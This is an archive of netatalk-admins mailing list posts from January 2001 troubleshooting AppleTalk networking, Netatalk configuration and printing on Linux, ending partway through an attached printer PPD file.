From: "Tom Watson" <tsw@johana.com>
To: netatalk-admins@umich.edu
Subject:   Re: AppleTalk net size

On the "LocalTalk" side that is the case.  On the "EtherTalk" side
it is a couple of groups worth (I don't have the exact number).

The practical limitation (limited by physical constraints) is
probably a bit less.

As always... Your milage may vary...

On Tue, 30 Jan 2001 12:33:25 -0500 (EST), netatalk-admins@umich.edu wrote:
> Without a router, what's the limit on AppleTalk nodes.  253?
> 
> Kent
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
> Kent Reuber (reuber@stanford.edu)                     Phone (650)725-8092
> Senior Networking Specialist                          Fax  (650) 723-0908
> Networking Systems                              241 Panama St., Pine Hall
> Stanford University                               Stanford, CA 94305-4122
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
> 
-- 
Tom Watson         Generic short signature
tsw@johana.com     (I'm at home now)

From netatalk.administrators-errors@umich.edu  Wed Jan 31 03:05:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA16171
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 03:05:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA06571
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 03:05:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA06555
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 03:05:14 -0500 (EST)
Received: from cmsu2.cmsu.edu (cmsu2.cmsu.edu [153.91.210.103])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA06539
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 03:05:13 -0500 (EST)
Received: from [153.91.210.74] ([153.91.210.74])
	by cmsu2.cmsu.edu (8.9.3/8.9.3) with ESMTP id CAA21602
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 02:04:13 -0600
Mime-Version: 1.0
X-Sender: bjb8379@cmsu2.cmsu.edu (Unverified)
Message-Id: <a05010438b69d776561cf@[153.91.210.74]>
Date: Wed, 31 Jan 2001 02:05:12 -0600
To: netatalk-admins@umich.edu
From: Barry Brimer <barry.brimer@bigfoot.com>
Subject: Split Horizon Routing
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Does anyone know whether or not netatalk can handle split horizon routing?

Thanks,

Barry Brimer

From netatalk.administrators-errors@umich.edu  Wed Jan 31 05:10:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA18054
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 05:10:51 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA16270
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 05:10:45 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA16240
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 05:10:44 -0500 (EST)
Received: from green.csi.cam.ac.uk (green.csi.cam.ac.uk [131.111.8.57])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA16220
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 05:10:43 -0500 (EST)
Received: from ih207 (helo=localhost)
	by green.csi.cam.ac.uk with local-esmtp (Exim 3.16 #1)
	id 14NuDw-0006C5-00
	for netatalk-admins@umich.edu; Wed, 31 Jan 2001 10:10:48 +0000
Date: Wed, 31 Jan 2001 10:10:48 +0000 (GMT)
From: Ian Hitchman <ih207@hermes.cam.ac.uk>
X-Sender: ih207@green.csi.cam.ac.uk
To: netatalk-admins@umich.edu
Subject: Things to export to world
Message-ID: <Pine.SOL.4.21.0101310949210.26923-100000@green.csi.cam.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Dear Netatalk,

Can I still export a read only directory to the world via a path set in 
AppleVolumes.system or has this moved?

netatalk-1.4b2+asun2.1.4-0.i386.rpm
RedHat7

# Last Updated July 8, 1999 # Use at your own risk.  No guarantees express
#or implied. 
/mnt/cdrom "CD"
# Try to use MacPerl script'ICDumpSuffixMap' included in /usr/doc
# to download file mapping list from your Internet Config Preference. 


All the best,

Ian.


From netatalk.administrators-errors@umich.edu  Wed Jan 31 05:48:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA18586
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 05:48:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA26567
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 05:48:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA26556
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 05:48:33 -0500 (EST)
Received: from specialreserve.net (www3.reserve.co.uk [195.216.17.3])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA26539
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 05:48:31 -0500 (EST)
Received: from [192.168.1.57] (195.216.17.40) by specialreserve.net with ESMTP
 (Eudora Internet Mail Server 2.2.2); Wed, 31 Jan 2001 10:48:35 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 31 Jan 2001 10:48:30 +0000
Subject: Re: Is Netatalk causing these kernel errors?
From: Basil Hussain <basil.hussain@specialreserve.net>
To: Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B69D9DFE.3229%basil.hussain@specialreserve.net>
In-Reply-To: <B695C77E.2ECE%basil.hussain@specialreserve.net>
Mime-version: 1.0
Organization: Inter-Mediates Ltd.
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

> Upon rebooting a new server I'm testing, I noticed some strange
> error/warning messages from the kernel when Netatalk started up. The error
> was:
> 
> kmem_grow: Called nonatomically from int - size-32

Okay, I found this small snippet of information in a 2.4 kernel hacking
guide by Paul Russell :

"If you see a kmem_grow: Called nonatomically from int warning message you
called a memory allocation function from interrupt context without
GFP_ATOMIC. You should really fix that. Run, don't walk."
(http://www.linuxhq.com/kernel/v2.4/doc/DocBook/kernel-hacking.tmpl.html)

I'm not a C or a kernel hacker, so I have no idea what that means
specifically. But, it sounds like it's saying that if you're seeing the
error, whatever's causing it has been programmed incorrectly.

I've observed that I only see this error when Netatalk is started on bootup
and I don't get any errors restarting just Netatalk after bootup. So, I have
a theory about who's the culprit here. Bear in mind that I know very little
about how the Linux kernel works, so this may all be crazy talk... :)

I suspect that the Appletalk kernel module is what's giving these errors. It
makes sense to me that the module is only loaded when Netatalk is first
started up. The fact that I've only seen these errors since I upgraded from
a 2.2.14 to a 2.2.16 kernel also makes sense, because that will probably
have given me a newer Appletalk module.

So, I did the following experiment:

# /etc/rc.d/init.d/atalk stop
Shutting down AppleTalk services:                          [  OK  ]
# /sbin/rmmod appletalk
# /sbin/insmod appletalk
Using /lib/modules/2.2.16-22/misc/appletalk.o
# /etc/rc.d/init.d/atalk start
Starting AppleTalk services:                               [  OK  ]

I stopped Netatalk, removed and re-inserted the Appletalk kernel module and
re-started Netatalk. Lo-and-behold, I got the following in my system logs:

Jan 31 10:28:24 secure kernel: kmem_grow: Called nonatomically from int -
size-32
Jan 31 10:28:24 secure last message repeated 2 times

So, it appears it is the kernel Appletalk module! I also grepped for the
version of the module, which turned out to be:

Jan 31 10:28:08 secure kernel: NET4: AppleTalk 0.18 for Linux NET4.0

Does anybody know whether there are any known problems with this version of
the AppleTalk module? Or perhaps where I could look or who I could contact
to find out?

I realise the Appletalk kernel module isn't part of Netatalk, but I don't
know where to proceed to try and get this problem sorted out. I'm hoping
some of you might be able to help.

Regards,

------------------------------------------------
Basil Hussain (basil.hussain@specialreserve.net)


From netatalk.administrators-errors@umich.edu  Wed Jan 31 07:40:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA20734
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 07:40:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02310
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 07:40:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02275
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 07:40:11 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA02233
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 07:40:10 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.1/8.11.1) with ESMTP id f0VCeFg07517;
	Wed, 31 Jan 2001 07:40:15 -0500
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210101b69db71388cd@[216.155.36.73]>
Date: Wed, 31 Jan 2001 07:43:12 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: File server quits during long transfers
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	I have a user who is running OS 8.6 on a G4.  He's connecting 
to a machine running Red Hat Linux 6.0 and Netatalk version 
1.4b2+asun2.1.1 .

	When he is doing large file transfers (as in 2000 or so 
files), the computer occasionally closes down the connection to the 
netatalk server.

	Does anyone have a fix or a reason for this?  Maybe 
increasing a buffer size somewhere and restarting?

	I do recall a few weeks ago, a machine that does backups 
through the netatalk server occasionally went down in the middle of a 
long backup.

	Ryan
__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
If you want to achieve excellence, you can get there today. As of 
this second, quit doing less-than-excellent work.
Thomas Watson, founder of IBM


From netatalk.administrators-errors@umich.edu  Wed Jan 31 09:28:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA23218
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 09:28:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA28347
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 09:28:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA28330
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 09:28:21 -0500 (EST)
Received: from sunflare.ccs.yorku.ca (sunflare.ccs.yorku.ca [130.63.236.128])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA28277
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 09:28:19 -0500 (EST)
Received: from sunlight.ccs.yorku.ca (sunlight.ccs.yorku.ca [130.63.236.85])
	by sunflare.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id JAA19857;
	Wed, 31 Jan 2001 09:28:23 -0500 (EST)
Received: from localhost (rickg@localhost)
	by sunlight.ccs.yorku.ca (8.9.3/8.9.3) with ESMTP id JAA21080;
	Wed, 31 Jan 2001 09:28:22 -0500 (EST)
X-Authentication-Warning: sunlight.ccs.yorku.ca: rickg owned process doing -bs
Date: Wed, 31 Jan 2001 09:28:22 -0500 (EST)
From: Richard Goldberg <rickg@yorku.ca>
X-X-Sender:  <rickg@sunlight.ccs.yorku.ca>
To: Carsten Neumann <deltor@snafu.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: printing problem
In-Reply-To: <01013022464500.26981@athlet>
Message-ID: <Pine.SOL.4.31.0101310925310.20493-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 30 Jan 2001, Carsten Neumann wrote:

> On Tue, 30 Jan 2001, Richard Goldberg wrote:
> [snip]
> > The printcap entry for this printer is:
> > test|colourlp\
> > :server\
> > :rw:sh:sf\
> > :lp=colorlp.irus.rri.on.ca%9100\
> > :mx#0\
> > :lf=/var/spool/lpd/colour/colour-errs\
> > :sd=/var/spool/lpd/colour\
> > :af=/var/spool/lpd/colour/test-account\
> > :la\
> > :ifhp=model=colour,config=/etc/ifhp.conf\
> > :if=/usr/local/lib/filters/ifhp\
> > :of=/usr/local/lib/filters/ofhp
>
> Oops, you omitted tho colons ':' just before each backslash, and after the last entry:
>
> test|colourlp:\
> 	:server:\
> 	:rw:sh:sf:\
> 	:lp=colorlp.irus.rri.on.ca%9100:\
> 	:mx#0:\
> 	:lf=/var/spool/lpd/colour/colour-errs:\
> 	:sd=/var/spool/lpd/colour:\
> 	:af=/var/spool/lpd/colour/test-account:\
> 	:la:\
> 	:ifhp=model=colour,config=/etc/ifhp.conf:\
> 	:if=/usr/local/lib/filters/ifhp:\
> 	:of=/usr/local/lib/filters/ofhp:
>
> OK, if you don't indent your printcap entry lines the colons before the escape chars (backslash)
> might not be necessary, but that at the end is.

I caught that about 5 minutes after I sent the message. However, I fix
the printcap and still get the same problem.

> >
> > If I change the pr line to pipe to lpr I don't get the lp_conn_unix and
> > lp_print errors, but I still get the line too long error.
>
> Does your PPD file look sane?
> Tr-ing my PPD file and "Auto Setup" the printer (on Mac) solved my problem.

The ppd files look fine. What is the max line length that you can have
in a ppd file before atalk starts to complain? There are a few long line
(maybe 125 chars).

Thanks

-Rick


From netatalk.administrators-errors@umich.edu  Wed Jan 31 16:22:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA04044
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 16:22:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA19886
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 16:22:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA19861
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 16:22:25 -0500 (EST)
Received: from mail.beckman.uiuc.edu (mail.beckman.uiuc.edu [130.126.116.197])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA19813
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 16:22:24 -0500 (EST)
Received: from bi-mdtaylor1 (bissdhcp-02.beckman.uiuc.edu [130.126.116.172])
	by mail.beckman.uiuc.edu (8.9.3/8.9.3) with ESMTP id PAA20921
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 15:22:22 -0600 (CST)
Message-Id: <4.2.2.20010131151819.03a1ae40@beckman.uiuc.edu>
X-Sender: mdtaylor@beckman.uiuc.edu
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Wed, 31 Jan 2001 15:20:52 -0600
To: netatalk-admins@umich.edu
From: "Marc D. Taylor" <mdtaylor@uiuc.edu>
Subject: Printer Authentication
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hello All,

We were wondering if Netatalk is capable of supporting authenticated 
printing.  Can one restrict netatalk from printing to a spooling device 
unless the user has mounted their personal drive or some sort of public 
drive?  We found this feature in CAP to be very useful since we charge for 
printing here.

Thanks in advance.

Marc Taylor
===============================
Marc D. Taylor
Research Programmer
Beckman Institute Systems Services
Room 1714
Office:  217-244-7373, Fax:  217-333-8206
mdtaylor@uiuc.edu
www.beckman.uiuc.edu/groups/biss


From netatalk.administrators-errors@umich.edu  Wed Jan 31 19:36:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA08883
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 19:36:50 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA22903
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 19:36:49 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA22883
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 19:36:48 -0500 (EST)
Received: from maths.otago.ac.nz (emmy.otago.ac.nz [139.80.48.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA22640
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 19:36:37 -0500 (EST)
Received: from maths.otago.ac.nz (pyro.otago.ac.nz [139.80.48.2])
	by maths.otago.ac.nz (8.11.0/8.9.3) with ESMTP id f110aX126739
	for <netatalk-admins@umich.edu>; Thu, 1 Feb 2001 13:36:33 +1300
Message-ID: <3A78B11A.6147DC64@maths.otago.ac.nz>
Date: Thu, 01 Feb 2001 13:43:06 +1300
From: Greg Trounson <gregt@maths.otago.ac.nz>
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Zone names with spaces
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Greetings,

We are trying to set up a series of print servers that will service
(among other protocols) Appletalk.  The problem is that we are in a zone
called Mathstat DN (notice the space character).

We have not been able to find a way to tell netatalk the name of our
zone.  Simply having the text Mathstat DN in the configuration file
doesn't work, and including it in "quote marks" also doesn't work.
Is there a proper way to configure netatalk to recognise zone names that
include spaces?  Unfortunately we cannot simply change our zone name as
we are part of a much larger institution.

thank you,
Greg

-- 
--------------------------------------------------------------
 Greg Trounson                          Programmer / Analyst
 Dept. of Maths and Stats,              Otago University
 PO. Box 56, Dunedin                    tel:64-3-4797739
 New Zealand
------------------=[ gregt@maths.otago.ac.nz ]=---------------

From netatalk.administrators-errors@umich.edu  Wed Jan 31 21:00:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA10453
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 31 Jan 2001 21:00:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA00789
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 31 Jan 2001 21:00:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA00775
	for netatalk.administrators-members@umich.edu; Wed, 31 Jan 2001 21:00:05 -0500 (EST)
Received: from smart.visp-europe.psi.com (smart.visp-europe.psi.com [212.222.105.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA00743
	for <netatalk-admins@umich.edu>; Wed, 31 Jan 2001 21:00:02 -0500 (EST)
Received: from n163-64.berlin.snafu.de ([195.21.163.64] helo=athlet.deltaman.de)
	by smart.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14O92V-0005ZX-00
	for netatalk-admins@umich.edu; Thu, 01 Feb 2001 02:59:59 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id CAA00980
	for <netatalk-admins@umich.edu>; Thu, 1 Feb 2001 02:53:28 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: printing problem
Date: Thu, 1 Feb 2001 02:40:09 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: Multipart/Mixed;
  boundary="Boundary-=_nWlrBbmQBhCDarzOwKkYHIDdqSCD"
References: <Pine.SOL.4.31.0101310925310.20493-100000@sunlight.ccs.yorku.ca>
In-Reply-To: <Pine.SOL.4.31.0101310925310.20493-100000@sunlight.ccs.yorku.ca>
MIME-Version: 1.0
Message-Id: <01020102532701.00497@athlet>


--Boundary-=_nWlrBbmQBhCDarzOwKkYHIDdqSCD
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

On Wed, 31 Jan 2001, Richard Goldberg wrote:
[snip]
>=20
> The ppd files look fine. What is the max line length that you can have
> in a ppd file before atalk starts to complain? There are a few long lin=
e
> (maybe 125 chars).

The PPD file for my NEC Silentwriter has max. 84 chars line length.
What does happen if you use another PPD with shorter lines?
Have you tried to break the long lines into shorter ones?

>=20
> Thanks
>=20
> -Rick

I attached the PPD for my printer to this mail.
This one doesn't lead to an error on my system.

Regards

=09Carsten

--Boundary-=_nWlrBbmQBhCDarzOwKkYHIDdqSCD
Content-Type: text/english;
  name="LC890.ppd"
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename="LC890.ppd"

*PPD-Adobe: "4.0"
*% Adobe Systems PostScript(R) Printer Description File
*% Copyright 1987-1992 Adobe Systems Incorporated. 
*% All Rights Reserved. 
*% Permission is granted for redistribution of this file as
*% long as this copyright notice is intact and the contents
*% of the file is not altered in any way from its original form.
*% End of Copyright statement
*FormatVersion: "4.0"
*FileVersion: "4.1"
*PCFileName: "N890_470.PPD"
*LanguageVersion: English
*Product: "(Silentwriter)"
*PSVersion: "(47.0) 2"
*ModelName: "Silentwriter LC 890"
*NickName: "Silentwriter LC 890 v47.0"

*% General Information and Defaults ===============
*FreeVM: "1189538"
*LanguageLevel: "1"
*ColorDevice: False
*DefaultColorSpace: Gray
*VariablePaperSize: False
*FileSystem: False
*Throughput: "8"
*Password: "0"
*ExitServer: "
  count 0 eq {  % is the password on the stack?
    true
  }{
    dup    % potential password
    statusdict /checkpassword get exec not
  } ifelse
  {  %  if no password or not valid
    (WARNING : Cannot perform the exitserver command.) =
    (Password supplied is not valid.) =
    (Please contact the author of this software.) = flush
    quit
  } if
  serverdict /exitserver get exec
"
*End

*Reset: "
  count 0 eq {  % is the password on the stack?
    true
  }{
    dup    % potential password
    statusdict /checkpassword get exec not
  } ifelse
  {  %  if no password or not valid
    (WARNING : Cannot reset printer.) =
    (Password supplied is not valid.) =
    (Please contact the author of this software.) = flush
    quit
  } if
  serverdict /exitserver get exec
  systemdict /quit get exec
  (WARNING : Printer Reset Failed.) = flush
"
*End

*DefaultResolution: 300dpi
*?Resolution: "
save
  initgraphics
  0 0 moveto currentpoint matrix defaultmatrix transform
  0 72 lineto currentpoint matrix defaultmatrix transform
  3 -1 roll sub dup mul
  3 1 roll exch sub dup mul
  add sqrt round cvi
  (          ) cvs print (dpi) = flush
restore
"
*End

*% Halftone Information ===============
*ScreenFreq: "60.0"
*ScreenAngle: "45.0"
*DefaultScreenProc: Dot
*ScreenProc Dot: "
{abs exch abs 2 copy add 1 gt {1 sub dup mul exch 1 sub dup mul add 1
sub }{dup mul exch dup mul add 1 exch sub }ifelse }
"
*End
*ScreenProc Line: "{ pop }"
*ScreenProc Ellipse: "{ dup 5 mul 8 div mul exch dup mul exch add sqrt 1 exch sub }"

*DefaultTransfer: Null
*Transfer Null: "{ }"
*Transfer Null.Inverse: "{ 1 exch sub }"

*% Paper Handling ===================
*% Use these entries to set paper size most of the time, unless there is
*% specific reason to use PageRegion.
*OpenUI *PageSize: PickOne
*OrderDependency: 30 AnySetup *PageSize
*DefaultPageSize: Letter
*PageSize Letter: "statusdict /lettertray get exec"
*PageSize Legal: "statusdict /legaltray get exec"
*PageSize A4: "statusdict /a4tray get exec"
*PageSize B5: "statusdict /b5tray get exec"
*?PageSize: "
save
4 dict
  dup /letter (Letter) put
  dup /legal (Legal) put
  dup /a4 (A4) put
  dup /b5 (B5) put
  statusdict /papersize get exec
  3 1 roll  {get} stopped {(Unknown)}if
  exch  not { print (.Transverse) }if
  = flush
restore
"
*End
*CloseUI: *PageSize

*% These entries will set up the frame buffer. Usually used with manual feed.
*OpenUI *PageRegion: PickOne
*OrderDependency: 40 AnySetup *PageRegion
*DefaultPageRegion: Letter
*PageRegion Letter: "letter"
*PageRegion Legal: "legal"
*PageRegion A4: "a4"
*PageRegion B5: "b5"
*CloseUI: *PageRegion

*% The following entries provide information about specific paper keywords.
*DefaultImageableArea: Letter
*ImageableArea Letter: "18 15 593 777 "
*ImageableArea Legal: "18 15 593 993 "
*ImageableArea A4: "18 15 578 827 "
*ImageableArea B5: "18 15 497 712 "
*?ImageableArea: "
save
  /cvp {(                ) cvs print ( ) print } bind def
  /upperright {10000 mul floor 10000 div} bind def
  /lowerleft {10000 mul ceiling 10000 div} bind def
  newpath clippath pathbbox
  4 -2 roll exch 2 {lowerleft cvp} repeat
  exch 2 {upperright cvp} repeat flush
 restore
"
*End

*% These provide the physical dimensions of the paper (by keyword)
*DefaultPaperDimension: Letter
*PaperDimension Letter: "612 792"
*PaperDimension Legal: "612 1008"
*PaperDimension A4: "595 842"
*PaperDimension B5: "516 729"

*RequiresPageRegion All: True
*OpenUI *InputSlot: PickOne
*OrderDependency: 20 AnySetup *InputSlot
*DefaultInputSlot: Lower
*InputSlot Lower: "1 statusdict /setpapertray get exec"
*InputSlot Upper: "2 statusdict /setpapertray get exec"
*?InputSlot: "
save
  [ (Unknown) (Lower) (Upper) ] statusdict /papertray get exec
  {get exec} stopped { pop pop (Unknown)} if = flush
restore
"
*End
*CloseUI: *InputSlot

*OpenUI *ManualFeed: Boolean
*OrderDependency: 20 AnySetup *ManualFeed
*DefaultManualFeed: False
*ManualFeed True: "statusdict /manualfeed true put"
*ManualFeed False: "statusdict /manualfeed false put"
*?ManualFeed: "
save
  statusdict /manualfeed get {(True)}{(False)}ifelse = flush
restore
"
*End
*CloseUI: *ManualFeed

*DefaultOutputOrder: Normal

*% Font Information =====================
*DefaultFont: Courier
*Font AvantGarde-Book: Standard "(001.002)" Standard ROM
*Font AvantGarde-BookOblique: Standard "(001.001)" Standard ROM
*Font AvantGarde-Demi: Standard "(001.001)" Standard ROM
*Font AvantGarde-DemiOblique: Standard "(001.001)" Standard ROM
*Font Bookman-Demi: Standard "(001.001)" Standard ROM
*Font Bookman-DemiItalic: Standard "(001.001)" Standard ROM
*Font Bookman-Light: Standard "(001.001)" Standard ROM
*Font Bookman-LightItalic: Standard "(001.001)" Standard ROM
*Font Courier: Standard "(001.004)" Standard ROM
*Font Courier-Bold: Standard "(001.004)" Standard ROM
*Font Courier-BoldOblique: Standard "(001.004)" Standard ROM
*Font Courier-Oblique: Standard "(001.004)" Standard ROM
*Font Helvetica: Standard "(001.001)" Standard ROM
*Font Helvetica-Bold: Standard "(001.001)" Standard ROM
*Font Helvetica-BoldOblique: Standard "(001.001)" Standard ROM
*Font Helvetica-Narrow: Standard "(001.000)" Standard ROM
*Font Helvetica-Narrow-Bold: Standard "(001.000)" Standard ROM
*Font Helvetica-Narrow-BoldOblique: Standard "(001.000)" Standard ROM
*Font Helvetica-Narrow-Oblique: Standard "(001.000)" Standard ROM
*Font Helvetica-Oblique: Standard "(001.001)" Standard ROM
*Font NewCenturySchlbk-Bold: Standard "(001.002)" Standard ROM
*Font NewCenturySchlbk-BoldItalic: Standard "(001.001)" Standard ROM
*Font NewCenturySchlbk-Italic: Standard "(001.001)" Standard ROM
*Font NewCenturySchlbk-Roman: Standard "(001.002)" Standard ROM
*Font Palatino-Bold: Standard "(001.001)" Standard ROM
*Font Palatino-BoldItalic: Standard "(001.001)" Standard ROM
*Font Palatino-Italic: Standard "(001.002)" Standard ROM
*Font Palatino-Roman: Standard "(001.001)" Standard ROM
*Font Symbol: Special "(001.001)" Special ROM
*Font Times-Bold: Standard "(001.001)" Standard ROM
*Font Times-BoldItalic: Standard "(001.004)" Standard ROM
*Font Times-Italic: Standard "(001.001)" Standard ROM
*Font Times-Roman: Standard "(001.001)" Standard ROM
*Font ZapfChancery-MediumItalic: Standard "(001.002)" Standard ROM
*Font ZapfDingbats: Special "(001.000)" Special ROM
*?FontQuery: "
save
 /str 100 string dup 0 (fonts/) putinterval def
 {
   count 1 gt
   {
     exch dup str 6 94 getinterval cvs
     (/) print print (:) print
     FontDirectory exch known
